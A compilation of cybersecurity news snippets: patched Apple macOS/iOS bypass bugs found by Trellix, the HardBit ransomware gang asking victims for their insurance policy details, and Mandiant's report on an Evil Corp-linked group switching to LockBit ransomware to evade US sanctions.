Hackers have created a new class of bugs that get around the security protection of iPhones,iPads and Macs. Researchers at Trellix found the malware could evade protections preventing unapproved software running on the macOS and iOS operating systems. Normally this would be a significant breach of the Apple security model. However, the vulnerabilities were addressed with the recent releases of macOS 13.2 and iOS 16.3. Which is why you should have installed them by now.

The HardBit ransomware gang has a new tactic for dealing with corporate victims: Rather than haggling over payment to get access to encrypted data back, organizations are asked to go behind the backs of their insurers and divulge details of their cyber insurance policies (if they have one). Then the payment demanded will just be the maximum under the coverage. It’s pitched as a deal: If the gang knows you are insured only for, say $10 million, it promises not to demand more than $10 million.

A Russian citizen has been extradited to the U.S. from the republic of Georgia to face computer fraud and…

Source…

Evil Corp Switches to Ransomware-as-a-Service to Evade US Sanctions


Evil Corp—or at least a hacking group affiliated with it—is mixing things up.

Mandiant reports(Opens in a new window) that a threat actor it’s been tracking as UNC2165 appears to be related to the cybercrime group, which was sanctioned(Opens in a new window) by the US Treasury Department in 2019 for using “the Dridex malware to infect computers and harvest login credentials from hundreds of banks and financial institutions in over 40 countries, causing more than $100 million in theft.”

Those sanctions prevent organizations from paying a ransom to restore access to their systems. Financially motivated threat actors like Evil Corp aren’t targeting organizations for the fun of it, or looking to further a nation-state’s agenda, so they have to maximize their chances of getting paid. That means they need to make it harder for their victims to identify them.

A timeline of ransomware strains used by groups affiliated with Evil Corp

Which is why Mandiant says that hacking groups affiliated with Evil Corp have used a variety of ransomware strains over the last two years. The groups initially used WastedLocker(Opens in a new window), but after that ransomware’s connection to Evil Corp was revealed, they switched to a ransomware family known as Hades(Opens in a new window). Now they’ve started using a ransomware-as-a-service (RaaS) called Lockbit.

Mandiant says that using a RaaS offering makes sense for groups affiliated with Evil Corp:

Recommended by Our Editors

Both the prominence of LOCKBIT in recent years and its successful use by several different threat clusters likely made the ransomware an attractive choice. Using this RaaS would allow UNC2165 to blend in with other affiliates, requiring visibility into earlier stages of the attack lifecycle to properly attribute the activity, compared to prior operations that may have been attributable based on the use of an exclusive ransomware. Additionally, the frequent code updates and rebranding of HADES required development resources and it is plausible that UNC2165 saw the use of LOCKBIT as a more cost-effective choice.

The company says it expects similar groups “to take steps such as these to obscure their identities in order to ensure that it is not a limiting factor to receiving payments from victims.”…

Source…